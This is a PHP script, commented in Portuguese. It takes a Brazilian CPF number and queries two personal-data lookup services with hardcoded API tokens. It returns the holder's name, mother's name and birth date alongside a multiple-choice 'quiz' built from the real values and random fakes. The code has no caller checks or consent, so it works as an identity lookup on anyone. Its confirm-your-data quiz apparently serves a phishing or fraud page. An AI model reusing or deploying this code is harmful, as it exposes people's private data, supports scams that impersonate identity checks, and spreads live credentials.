<?php
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['error' => 'Método não permitido.']);
    exit;
}

$input = json_decode(file_get_contents('php://input'), true);
$cpf = isset($input['cpf']) ? preg_replace('/\D/', '', $input['cpf']) : '';

if (strlen($cpf) !== 11) {
    echo json_encode(['error' => 'CPF inválido.']);
    exit;
}

// Tentar API principal (searchapi.dnnl.live)
$url_principal = "https://searchapi.dnnl.live/consulta?token_api=8355&cpf={$cpf}";

$options = [
    'http' => [
        'method' => 'GET',
        'header' => [
            'Accept: application/json'
        ],
        'timeout' => 10,
        'ignore_errors' => true
    ]
];
$context = stream_context_create($options);
$response = @file_get_contents($url_principal, false, $context);

$data = null;
$dados_originais = null;

// Se a API principal funcionar
if ($response !== false) {
    $data = json_decode($response, true);
    
    // Verificar se retornou dados válidos
    if ($data && isset($data['DADOS'])) {
        $pessoa = $data['DADOS'];
        $dados_originais = [
            'cpf' => $cpf,
            'nome' => $pessoa['NOME'] ?? '',
            'nome_mae' => $pessoa['MAE'] ?? '',
            'data_nascimento' => $pessoa['NASCIMENTO'] ?? ''
        ];
    } else if ($data && isset($data['dados']) && is_array($data['dados']) && count($data['dados']) > 0) {
        $pessoa = $data['dados'][0];
        $dados_originais = [
            'cpf' => $cpf,
            'nome' => $pessoa['NOME'] ?? $pessoa['nome'] ?? '',
            'nome_mae' => $pessoa['MAE'] ?? $pessoa['nome_mae'] ?? '',
            'data_nascimento' => $pessoa['NASCIMENTO'] ?? $pessoa['data_nascimento'] ?? ''
        ];
    }
}

// Se a API principal falhou ou não retornou dados válidos, tentar API de fallback
if (!$dados_originais) {
    $url_fallback = "https://api.amnesiatecnologia.rocks/?token=c5eebbc9-0469-4324-85f6-0c994b42d18a&cpf={$cpf}";
    
    $response = @file_get_contents($url_fallback, false, $context);
    
    if ($response !== false) {
        $data = json_decode($response, true);
        
        // Adaptar formato da API Amnesia
        if ($data && isset($data['DADOS'])) {
            $pessoa = $data['DADOS'];
            $dados_originais = [
                'cpf' => $cpf,
                'nome' => $pessoa['nome'] ?? $pessoa['NOME'] ?? '',
                'nome_mae' => $pessoa['nome_mae'] ?? $pessoa['MAE'] ?? '',
                'data_nascimento' => $pessoa['data_nascimento'] ?? $pessoa['NASCIMENTO'] ?? ''
            ];
        } else if ($data && isset($data['dados'])) {
            $pessoa = is_array($data['dados']) ? $data['dados'] : $data;
            $dados_originais = [
                'cpf' => $cpf,
                'nome' => $pessoa['nome'] ?? $pessoa['NOME'] ?? '',
                'nome_mae' => $pessoa['nome_mae'] ?? $pessoa['MAE'] ?? '',
                'data_nascimento' => $pessoa['data_nascimento'] ?? $pessoa['NASCIMENTO'] ?? ''
            ];
        }
    }
}

// Se nenhuma API retornou dados válidos
if (!$dados_originais) {
    echo json_encode(['error' => 'CPF não encontrado ou inválido.']);
    exit;
}

$pessoa = [
    'NOME' => $dados_originais['nome'],
    'MAE' => $dados_originais['nome_mae'],
    'NASCIMENTO' => $dados_originais['data_nascimento']
];

$quiz = [
    'nomes' => gerarOpcoes($pessoa['NOME'] ?? ''),
    'maes' => gerarOpcoes($pessoa['MAE'] ?? ''),
    'datas' => gerarOpcoes($pessoa['NASCIMENTO'] ?? '', 'data')
];

$response = [
    'dados_originais' => $dados_originais,
    'quiz' => $quiz
];
echo json_encode($response);
exit;

function gerarOpcoes($correto, $tipo = 'texto') {
    $opcoes = [$correto];
    if ($tipo === 'data') {
        for ($i = 0; $i < 2; $i++) {
            $ano = rand(1950, 2010);
            $mes = rand(1, 12);
            $dia = rand(1, 28);
            $fake = sprintf('%04d-%02d-%02d', $ano, $mes, $dia);
            if (!in_array($fake, $opcoes)) {
                $opcoes[] = $fake;
            }
        }
    } else {
        for ($i = 0; $i < 2; $i++) {
            $fake = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, rand(8, 13)) . ' ' . substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, rand(6, 12));
            if (!in_array($fake, $opcoes)) {
                $opcoes[] = $fake;
            }
        }
    }
    shuffle($opcoes);
    return $opcoes;
}
